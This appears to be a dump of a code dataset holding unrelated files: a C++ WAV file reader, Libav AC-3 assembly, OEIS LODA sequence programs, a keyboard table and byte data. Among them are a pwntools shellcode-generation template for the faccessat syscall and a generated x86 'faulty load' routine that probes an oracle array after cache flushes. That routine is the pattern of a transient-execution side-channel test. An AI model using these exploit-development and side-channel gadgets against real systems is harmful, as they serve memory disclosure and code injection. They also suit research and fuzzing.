text
stringlengths
1
1.05M
/*wav_read_write.cpp Author: K. L. Srinivas Problem statement : 1. opens a wav file for reading; opens another wav file for writing 2. detects the samp. rate and #samples from the header of input wav Next, we wish to read in sequentially blocks of data from the wav file for processing one block ("frame") at a time. In the loop (until last frame): 3. reads in the data (16-bit integers) in blocks of BUFSIZE samples 4. dummy processing() 5. writes out BUFSIZE output samples in the output wav file end loop */ // This program is tested on linux machine with g++ compiler. #include <stdio.h> #include <stdlib.h> #include <iostream> using namespace std; // WAVE PCM soundfile format (you can find more in // https://ccrma.stanford.edu/courses/422/projects/WaveFormat/ ) typedef struct header_file { char chunk_id[4]; int chunk_size; char format[4]; char subchunk1_id[4]; int subchunk1_size; short int audio_format; short int num_channels; int sample_rate; // sample_rate denotes the sampling rate. int byte_rate; short int block_align; short int bits_per_sample; char subchunk2_id[4]; int subchunk2_size; // subchunk2_size denotes the number of samples. } header; typedef struct header_file* header_p; int main(int argc, char* argv[]) { FILE* infile = fopen(argv[1], "rb"); // Open wave file in read mode FILE* outfile = fopen( "Output.wav", "wb"); // Create output ( wave format) file in write mode int BUFSIZE = 512; // BUFSIZE can be changed according to the frame size // required (eg:512) int count = 0; // For counting number of frames in wave file. short int buff16[BUFSIZE]; // short int used for 16 bit as input data format // is 16 bit PCM audio header_p meta = (header_p)malloc(sizeof(header)); // header_p points to a // header struct that // contains the wave file // metadata fields int nb; // variable storing number of byes returned if (infile) { fread(meta, 1, sizeof(header), infile); fwrite(meta, 1, sizeof(*meta), outfile); cout << " Size of Header file is " << sizeof(*meta) << " bytes" << endl; cout << " Sampling rate of the input wave file is " << meta->sample_rate << " Hz" << endl; cout << " Number of samples in wave file are " << meta->subchunk2_size << " samples" << endl; while (!feof(infile)) { nb = fread(buff16, 1, BUFSIZE, infile); // Reading data in chunks of BUFSIZE // cout << nb <<endl; count++; // Incrementing Number of frames /* Insert your processing code here*/ fwrite(buff16, 1, nb, outfile); // Writing read data into output file } cout << " Number of frames in the input wave file are " << count << endl; } return 0; }
;***************************************************************************** ;* x86-optimized AC-3 DSP utils ;* Copyright (c) 2011 Justin Ruggles ;* ;* This file is part of Libav. ;* ;* Libav is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* Libav is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with Libav; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "x86inc.asm" %include "x86util.asm" SECTION_RODATA ; 16777216.0f - used in ff_float_to_fixed24() pf_1_24: times 4 dd 0x4B800000 ; used in ff_ac3_compute_mantissa_size() cextern ac3_bap_bits pw_bap_mul1: dw 21846, 21846, 0, 32768, 21846, 21846, 0, 32768 pw_bap_mul2: dw 5, 7, 0, 7, 5, 7, 0, 7 ; used in ff_ac3_extract_exponents() pd_1: times 4 dd 1 pd_151: times 4 dd 151 SECTION .text ;----------------------------------------------------------------------------- ; void ff_ac3_exponent_min(uint8_t *exp, int num_reuse_blocks, int nb_coefs) ;----------------------------------------------------------------------------- %macro AC3_EXPONENT_MIN 1 cglobal ac3_exponent_min_%1, 3,4,2, exp, reuse_blks, expn, offset shl reuse_blksq, 8 jz .end LOOP_ALIGN .nextexp: mov offsetq, reuse_blksq mova m0, [expq+offsetq] sub offsetq, 256 LOOP_ALIGN .nextblk: PMINUB m0, [expq+offsetq], m1 sub offsetq, 256 jae .nextblk mova [expq], m0 add expq, mmsize sub expnq, mmsize jg .nextexp .end: REP_RET %endmacro %define PMINUB PMINUB_MMX %define LOOP_ALIGN INIT_MMX AC3_EXPONENT_MIN mmx %ifdef HAVE_MMX2 %define PMINUB PMINUB_MMXEXT %define LOOP_ALIGN ALIGN 16 AC3_EXPONENT_MIN mmxext %endif %ifdef HAVE_SSE INIT_XMM AC3_EXPONENT_MIN sse2 %endif %undef PMINUB %undef LOOP_ALIGN ;----------------------------------------------------------------------------- ; int ff_ac3_max_msb_abs_int16(const int16_t *src, int len) ; ; This function uses 2 different methods to calculate a valid result. ; 1) logical 'or' of abs of each element ; This is used for ssse3 because of the pabsw instruction. ; 2) calculate min/max for the array, then or(abs(min),abs(max)) ; This is used for mmxext and sse2 because they have pminsw/pmaxsw. ;----------------------------------------------------------------------------- %macro AC3_MAX_MSB_ABS_INT16 2 cglobal ac3_max_msb_abs_int16_%1, 2,2,5, src, len pxor m2, m2 pxor m3, m3 .loop: %ifidn %2, min_max mova m0, [srcq] mova m1, [srcq+mmsize] pminsw m2, m0 pminsw m2, m1 pmaxsw m3, m0 pmaxsw m3, m1 %else ; or_abs ; using memory args is faster for ssse3 pabsw m0, [srcq] pabsw m1, [srcq+mmsize] por m2, m0 por m2, m1 %endif add srcq, mmsize*2 sub lend, mmsize ja .loop %ifidn %2, min_max ABS2 m2, m3, m0, m1 por m2, m3 %endif %ifidn mmsize, 16 movhlps m0, m2 por m2, m0 %endif PSHUFLW m0, m2, 0xe por m2, m0 PSHUFLW m0, m2, 0x1 por m2, m0 movd eax, m2 and eax, 0xFFFF RET %endmacro INIT_MMX %define PSHUFLW pshufw %define ABS2 ABS2_MMX2 AC3_MAX_MSB_ABS_INT16 mmxext, min_max INIT_XMM %define PSHUFLW pshuflw AC3_MAX_MSB_ABS_INT16 sse2, min_max %define ABS2 ABS2_SSSE3 AC3_MAX_MSB_ABS_INT16 ssse3, or_abs ;----------------------------------------------------------------------------- ; macro used for ff_ac3_lshift_int16() and ff_ac3_rshift_int32() ;----------------------------------------------------------------------------- %macro AC3_SHIFT 4 ; l/r, 16/32, shift instruction, instruction set cglobal ac3_%1shift_int%2_%4, 3,3,5, src, len, shift movd m0, shiftd .loop: mova m1, [srcq ] mova m2, [srcq+mmsize ] mova m3, [srcq+mmsize*2] mova m4, [srcq+mmsize*3] %3 m1, m0 %3 m2, m0 %3 m3, m0 %3 m4, m0 mova [srcq ], m1 mova [srcq+mmsize ], m2 mova [srcq+mmsize*2], m3 mova [srcq+mmsize*3], m4 add srcq, mmsize*4 sub lend, mmsize*32/%2 ja .loop .end: REP_RET %endmacro ;----------------------------------------------------------------------------- ; void ff_ac3_lshift_int16(int16_t *src, unsigned int len, unsigned int shift) ;----------------------------------------------------------------------------- INIT_MMX AC3_SHIFT l, 16, psllw, mmx INIT_XMM AC3_SHIFT l, 16, psllw, sse2 ;----------------------------------------------------------------------------- ; void ff_ac3_rshift_int32(int32_t *src, unsigned int len, unsigned int shift) ;----------------------------------------------------------------------------- INIT_MMX AC3_SHIFT r, 32, psrad, mmx INIT_XMM AC3_SHIFT r, 32, psrad, sse2 ;----------------------------------------------------------------------------- ; void ff_float_to_fixed24(int32_t *dst, const float *src, unsigned int len) ;----------------------------------------------------------------------------- ; The 3DNow! version is not bit-identical because pf2id uses truncation rather ; than round-to-nearest. INIT_MMX cglobal float_to_fixed24_3dnow, 3,3,0, dst, src, len movq m0, [pf_1_24] .loop: movq m1, [srcq ] movq m2, [srcq+8 ] movq m3, [srcq+16] movq m4, [srcq+24] pfmul m1, m0 pfmul m2, m0 pfmul m3, m0 pfmul m4, m0 pf2id m1, m1 pf2id m2, m2 pf2id m3, m3 pf2id m4, m4 movq [dstq ], m1 movq [dstq+8 ], m2 movq [dstq+16], m3 movq [dstq+24], m4 add srcq, 32 add dstq, 32 sub lend, 8 ja .loop REP_RET INIT_XMM cglobal float_to_fixed24_sse, 3,3,3, dst, src, len movaps m0, [pf_1_24] .loop: movaps m1, [srcq ] movaps m2, [srcq+16] mulps m1, m0 mulps m2, m0 cvtps2pi mm0, m1 movhlps m1, m1 cvtps2pi mm1, m1 cvtps2pi mm2, m2 movhlps m2, m2 cvtps2pi mm3, m2 movq [dstq ], mm0 movq [dstq+ 8], mm1 movq [dstq+16], mm2 movq [dstq+24], mm3 add srcq, 32 add dstq, 32 sub lend, 8 ja .loop REP_RET INIT_XMM cglobal float_to_fixed24_sse2, 3,3,9, dst, src, len movaps m0, [pf_1_24] .loop: movaps m1, [srcq ] movaps m2, [srcq+16 ] movaps m3, [srcq+32 ] movaps m4, [srcq+48 ] %ifdef m8 movaps m5, [srcq+64 ] movaps m6, [srcq+80 ] movaps m7, [srcq+96 ] movaps m8, [srcq+112] %endif mulps m1, m0 mulps m2, m0 mulps m3, m0 mulps m4, m0 %ifdef m8 mulps m5, m0 mulps m6, m0 mulps m7, m0 mulps m8, m0 %endif cvtps2dq m1, m1 cvtps2dq m2, m2 cvtps2dq m3, m3 cvtps2dq m4, m4 %ifdef m8 cvtps2dq m5, m5 cvtps2dq m6, m6 cvtps2dq m7, m7 cvtps2dq m8, m8 %endif movdqa [dstq ], m1 movdqa [dstq+16 ], m2 movdqa [dstq+32 ], m3 movdqa [dstq+48 ], m4 %ifdef m8 movdqa [dstq+64 ], m5 movdqa [dstq+80 ], m6 movdqa [dstq+96 ], m7 movdqa [dstq+112], m8 add srcq, 128 add dstq, 128 sub lenq, 32 %else add srcq, 64 add dstq, 64 sub lenq, 16 %endif ja .loop REP_RET ;------------------------------------------------------------------------------ ; int ff_ac3_compute_mantissa_size(uint16_t mant_cnt[6][16]) ;------------------------------------------------------------------------------ %macro PHADDD4 2 ; xmm src, xmm tmp movhlps %2, %1 paddd %1, %2 pshufd %2, %1, 0x1 paddd %1, %2 %endmacro INIT_XMM cglobal ac3_compute_mantissa_size_sse2, 1,2,4, mant_cnt, sum movdqa m0, [mant_cntq ] movdqa m1, [mant_cntq+ 1*16] paddw m0, [mant_cntq+ 2*16] paddw m1, [mant_cntq+ 3*16] paddw m0, [mant_cntq+ 4*16] paddw m1, [mant_cntq+ 5*16] paddw m0, [mant_cntq+ 6*16] paddw m1, [mant_cntq+ 7*16] paddw m0, [mant_cntq+ 8*16] paddw m1, [mant_cntq+ 9*16] paddw m0, [mant_cntq+10*16] paddw m1, [mant_cntq+11*16] pmaddwd m0, [ac3_bap_bits ] pmaddwd m1, [ac3_bap_bits+16] paddd m0, m1 PHADDD4 m0, m1 movd sumd, m0 movdqa m3, [pw_bap_mul1] movhpd m0, [mant_cntq +2] movlpd m0, [mant_cntq+1*32+2] movhpd m1, [mant_cntq+2*32+2] movlpd m1, [mant_cntq+3*32+2] movhpd m2, [mant_cntq+4*32+2] movlpd m2, [mant_cntq+5*32+2] pmulhuw m0, m3 pmulhuw m1, m3 pmulhuw m2, m3 paddusw m0, m1 paddusw m0, m2 pmaddwd m0, [pw_bap_mul2] PHADDD4 m0, m1 movd eax, m0 add eax, sumd RET ;------------------------------------------------------------------------------ ; void ff_ac3_extract_exponents(uint8_t *exp, int32_t *coef, int nb_coefs) ;------------------------------------------------------------------------------ %macro PABSD_MMX 2 ; src/dst, tmp pxor %2, %2 pcmpgtd %2, %1 pxor %1, %2 psubd %1, %2 %endmacro %macro PABSD_SSSE3 1-2 ; src/dst, unused pabsd %1, %1 %endmacro %ifdef HAVE_AMD3DNOW INIT_MMX cglobal ac3_extract_exponents_3dnow, 3,3,0, exp, coef, len add expq, lenq lea coefq, [coefq+4*lenq] neg lenq movq m3, [pd_1] movq m4, [pd_151] .loop: movq m0, [coefq+4*lenq ] movq m1, [coefq+4*lenq+8] PABSD_MMX m0, m2 PABSD_MMX m1, m2 pslld m0, 1 por m0, m3 pi2fd m2, m0 psrld m2, 23 movq m0, m4 psubd m0, m2 pslld m1, 1 por m1, m3 pi2fd m2, m1 psrld m2, 23 movq m1, m4 psubd m1, m2 packssdw m0, m0 packuswb m0, m0 packssdw m1, m1 packuswb m1, m1 punpcklwd m0, m1 movd [expq+lenq], m0 add lenq, 4 jl .loop REP_RET %endif %macro AC3_EXTRACT_EXPONENTS 1 cglobal ac3_extract_exponents_%1, 3,3,4, exp, coef, len add expq, lenq lea coefq, [coefq+4*lenq] neg lenq mova m2, [pd_1] mova m3, [pd_151] .loop: ; move 4 32-bit coefs to xmm0 mova m0, [coefq+4*lenq] ; absolute value PABSD m0, m1 ; convert to float and extract exponents pslld m0, 1 por m0, m2 cvtdq2ps m1, m0 psrld m1, 23 mova m0, m3 psubd m0, m1 ; move the lowest byte in each of 4 dwords to the low dword ; NOTE: We cannot just extract the low bytes with pshufb because the dword ; result for 16777215 is -1 due to float inaccuracy. Using packuswb ; clips this to 0, which is the correct exponent. packssdw m0, m0 packuswb m0, m0 movd [expq+lenq], m0 add lenq, 4 jl .loop REP_RET %endmacro %ifdef HAVE_SSE INIT_XMM %define PABSD PABSD_MMX AC3_EXTRACT_EXPONENTS sse2 %ifdef HAVE_SSSE3 %define PABSD PABSD_SSSE3 AC3_EXTRACT_EXPONENTS ssse3 %endif %endif
; A154027: a(n+2) = 100*a(n+1) - a(n), a(1)=0, a(2)=10. ; Submitted by Jamie Morken(s1.) ; 0,10,1000,99990,9998000,999700010,99960003000,9995000599990,999400099996000,99930014999000010,9992002099800005000,999100279965001499990,99900035994400349994000,9989004499160069997900010,998800549880012599440007000,99870065983502099874002799990,9986007797800329974800839992000,998500909714049495380209996400010,99840104963607149208046198800009000,9983011995451000871309239670004499990,998201359440136479981715920801649990000,99810152932018196997300282840494994500010 mov $1,1 lpb $0 sub $0,1 add $3,$1 add $2,$3 mov $1,$2 mul $1,98 lpe mov $0,$2 mul $0,10
; A350382: a(n) = 9 + 4 * 10^n. ; Submitted by Christian Krause ; 49,409,4009,40009,400009,4000009,40000009,400000009,4000000009,40000000009,400000000009,4000000000009,40000000000009,400000000000009,4000000000000009,40000000000000009,400000000000000009,4000000000000000009,40000000000000000009,400000000000000000009,4000000000000000000009 mov $2,10 pow $2,$0 mov $0,$2 sub $0,1 mul $0,40 add $0,49
; A069829: a(n) = PS(n)(2n), where PS is described in A057032. ; 2,5,9,11,13,19,17,23,31,26,25,40,29,47,58,51,37,69,41,56,71,67,49,82,70,73,92,95,61,123,65,105,118,94,112,148,77,107,134,116,85,143,89,122,177,127,97,166,130,133,175,162,109,211,159,188,190,154,121,248,125 add $0,1 mov $1,$0 lpb $1 mov $2,$0 dif $2,$1 cmp $2,$0 cmp $2,0 mul $2,$1 add $0,$2 sub $1,1 lpe add $0,1
keyboard_table: dw 0x2960,0x0231,0x0332,0x0433,0x0534,0x0635,0x0736,0x0837 ;· 1 2 3 4 5 6 7 dw 0x0938,0x0a39,0x0b30,0x0c2d,0x0d3d,0x2b5c,0x0f09,0x1071,0x1177,0x1265,0x1372,0x1474,0x1579,0x1675,0x1769,0x186f,0x1970,0x1a5b,0x1b5d,0x1e61,0x1f73 ;8 9 0 - = \ Tab q w e r t y u i o p [ ] a s dw 0x2064,0x2166,0x2267,0x2368,0x246a,0x256b,0x266c,0x273b,0x2827,0x2c7a,0x2d78,0x2e63,0x2f76,0x3062,0x316e,0x326d,0x332c,0x342e,0x352f,0x3920 ;d f g h j k l ; ' z x c v b n m , . / 空格键 dw 0x0000 ;DW is opposite to double-DB special_keyboard_table: ;Enter db 0x1C dw press_enter_key ;Caps lock db 0x3A dw press_caps_lock_key ;Backspace db 0x0E dw press_backspace_key ;L Shift press db 0x2A dw press_shift_key ;R Shift press db 0x36 dw press_shift_key ;L Shift release db 0xAA dw release_shift_key ;R Shift release db 0xB6 dw release_shift_key ;End db 0x00 dw 0x0000
db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft import six %> <%docstring>faccessat(fd, file, type, flag) -> str Invokes the syscall faccessat. See 'man 2 faccessat' for more information. Arguments: fd(int): fd file(char*): file type(int): type flag(int): flag Returns: int </%docstring> <%page args="fd=0, file=0, type=0, flag=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = ['file'] can_pushstr_array = [] argument_names = ['fd', 'file', 'type', 'flag'] argument_values = [fd, file, type, flag] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False))) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)): if isinstance(arg, six.text_type): arg = arg.encode('utf-8') string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_faccessat']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* faccessat(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1d93e, %rsi lea addresses_D_ht+0x77fe, %rdi nop nop nop nop xor $43829, %r9 mov $43, %rcx rep movsb nop nop add %r11, %r11 lea addresses_A_ht+0x140ee, %rsi lea addresses_D_ht+0x159d0, %rdi nop nop nop nop inc %rbp mov $64, %rcx rep movsw nop nop nop xor %rsi, %rsi lea addresses_WT_ht+0x191fe, %rcx cmp %r8, %r8 movb (%rcx), %r11b nop add $61605, %r9 lea addresses_WC_ht+0x7a4e, %r9 nop nop nop cmp $29641, %r11 mov (%r9), %ebp nop nop nop nop xor $33796, %rbp lea addresses_D_ht+0x83fe, %rcx and %r8, %r8 mov $0x6162636465666768, %r11 movq %r11, (%rcx) sub $37126, %r11 lea addresses_UC_ht+0x8eae, %rsi add %rbp, %rbp vmovups (%rsi), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %r9 nop nop nop and $4068, %rdi lea addresses_UC_ht+0x14773, %rcx clflush (%rcx) nop nop nop nop nop xor %rbp, %rbp mov (%rcx), %si nop nop nop sub %r8, %r8 lea addresses_WT_ht+0x1dfb2, %rsi nop nop nop nop nop sub %r8, %r8 mov $0x6162636465666768, %rcx movq %rcx, %xmm7 vmovups %ymm7, (%rsi) nop nop nop nop nop dec %rsi lea addresses_UC_ht+0x143fe, %rdi xor $53872, %rsi movw $0x6162, (%rdi) nop add %rdi, %rdi lea addresses_WC_ht+0x157fe, %rsi nop xor $38870, %r9 movw $0x6162, (%rsi) nop nop nop nop nop add $14751, %r11 lea addresses_WT_ht+0x41fe, %rsi lea addresses_D_ht+0x11dfe, %rdi nop nop nop dec %rdx mov $96, %rcx rep movsq nop nop dec %rdx lea addresses_A_ht+0x132be, %rsi nop nop nop nop cmp $58295, %rbp mov $0x6162636465666768, %rcx movq %rcx, (%rsi) nop nop sub %r9, %r9 lea addresses_D_ht+0x19bfe, %rdx nop nop nop nop nop and $971, %rdi mov (%rdx), %cx nop add %r9, %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r15 push %rbx push %rcx push %rsi // Store lea addresses_D+0xfe16, %rsi nop nop nop nop and $48546, %rcx movl $0x51525354, (%rsi) nop nop inc %rsi // Store lea addresses_WC+0x705e, %r14 nop nop nop nop nop and %r13, %r13 movl $0x51525354, (%r14) nop nop nop nop nop sub %rcx, %rcx // Load mov $0x6006a100000008fe, %rcx nop nop nop nop inc %r10 vmovups (%rcx), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r14 nop cmp $40842, %r15 // Faulty Load lea addresses_WC+0x193fe, %r10 nop sub $42646, %r15 mov (%r10), %r13w lea oracles, %r10 and $0xff, %r13 shlq $12, %r13 mov (%r10,%r13,1), %r13 pop %rsi pop %rcx pop %rbx pop %r15 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 3, 'type': 'addresses_D', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WC', 'AVXalign': False, 'size': 4}} {'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_NC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': True, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}} {'src': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}} {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}} {'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
